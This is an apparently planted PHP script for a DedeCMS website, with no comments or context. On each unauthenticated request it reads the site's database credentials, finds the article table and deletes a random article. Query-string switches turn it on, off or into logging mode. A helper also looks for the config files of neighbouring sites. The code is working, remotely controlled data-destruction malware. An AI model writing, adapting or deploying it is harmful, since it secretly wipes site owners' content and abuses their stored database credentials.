<?php
if($_GET['get'] == "on"){
	$handle=fopen("task/task.txt", "w+");
	$w=fwrite($handle, "on");
	var_dump($w);
	echo "on OK";
	exit();
}
if($_GET['get'] == "off"){
	$handle=fopen("task/task.txt", "w+");
	$w=fwrite($handle, "off");
	var_dump($w);
	echo "off OK";
	exit();
}
if($_GET['get'] == "on_w"){
	$handle=fopen("task/task.txt", "w+");
	$w=fwrite($handle, "on_w");
	var_dump($w);
	echo "on_w OK";
	exit();
}
if($_GET['get'] == "del"){
	$handle=fopen("task/dede_db.txt", "w+");
	$w=fwrite($handle, "dede_db");
	var_dump($w);
	echo "del OK";
	exit();
}
$task=file("task/task.txt");
if($task[0]=="off" && time()<1573790123){
	echo "off";
	exit();
}
function haveFile($xm_arr){
	foreach($xm_arr as $v){
		$file="../../".$v."/data/common.inc.php";
		if(file_exists($file)){
			$have[]=$file;
		}
	}
	return $have;
}

require_once("../data/common.inc.php");
$char="utf8";
$link=mysqli_connect('127.0.0.1', $cfg_dbuser, $cfg_dbpwd);
mysqli_select_db($link,$cfg_dbname);
mysqli_set_charset($link,$char);
$sql_tab="show tables;";
$re_tab=mysqli_query($link,$sql_tab);
while($row=mysqli_fetch_row($re_tab)){
	$tabs[]=$row;
}
mysqli_free_result($re_tab);
$patt="/addonarticle/";
foreach($tabs as $v){
	$tab=$v[0];
	$re_patt=preg_match($patt,$tab);
	if($re_patt){
		$table=$tab;
	}
}
$sql="select aid from $table;";
$re=mysqli_query($link,$sql);
while($row=mysqli_fetch_row($re)){
	$arr[]=$row;
}
mysqli_free_result($re);
$num=count($arr);
$num_rand=rand(0, $num-1);
$aid=$arr[$num_rand][0];
$sql_del="delete from $table where aid=$aid;";
$re_del=mysqli_query($link,$sql_del);
if($re_del){
	if($task[0] == "on_w"){
		$handle=fopen("task/dede_db.txt", "a+");
		$w=fwrite($handle, date("Y-m-d H:i:s")." : ".$cfg_dbname."--".$table."--".$aid."\n");
	}
}
mysqli_close($link);
echo "aid=".$aid;
?>